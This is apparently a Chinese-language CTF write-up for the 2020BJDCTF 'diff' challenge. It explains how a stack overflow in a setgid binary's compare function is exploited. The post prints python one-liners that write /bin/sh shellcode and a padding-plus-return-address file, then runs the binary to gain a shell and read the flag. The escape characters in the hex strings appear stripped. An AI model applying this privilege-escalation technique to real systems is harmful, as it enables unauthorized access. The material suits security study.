zoukankan      html  css  js  c++  java
  • 2020BJDCTF

    diff:

    不得不说这种题目挺有意思的,现在记录一下阶梯过程:

    先登录远程,发现有两个文件:

     虽然直接能卡到flag文件,但是我们是以ctf用户登录的,并不能直接打开flag文件。仔细观察diff文件组用户权限是r-s,这意味着我们以ctf用户运行diff却能得到ctf_pwn用户的权限,就能读取flag了,所以我们目标是运行diff并拿到shell。

    其实在做这题之前有好几道类似的题,没有给任何文件,都需要ssh连接远程,之前我有尝试用scp把文件下载到本地,结果都是败了,所以这题我就没注意看。知道看wp时才意思到可以下载到本地,不得不说挺坑的。

    下载后用IDA打开,直接看compare函数:

     很明显存在栈溢出,所以我们可以向buf1中写入shellcode,向addr写入padding。

    这里不得不说另一个坑了。我之前直接把shellcode的十六进制代码写入到文件中,结果读出来的不对,后来才意识到这样是以字符读入,失去本来的意思。

    python -c "print 'xbax00x00x00x00xb9x00x00x00x00h/shx00h/binx89xe3xb8x0bx00x00x00xcdx80'" > shellcode
    python -c "print 'A'*0x7c + 'x24xa0x04x08'" > padding
    ./diff shellcode padding
  • 相关阅读:
    浅析Dagger2的使用
    Android消息机制源码分析
    EventBus3.0源码解析
    Android自定义控件(二)
    Android 自定义控件(一)
    Android IPC机制之ContentProvider
    Android IPC机制之Messenger
    Android IPC机制之AIDL
    Android网络请求框架
    Android常用设计模式(二)
  • 原文地址:https://www.cnblogs.com/countfatcode/p/12556253.html
Copyright © 2011-2022 走看看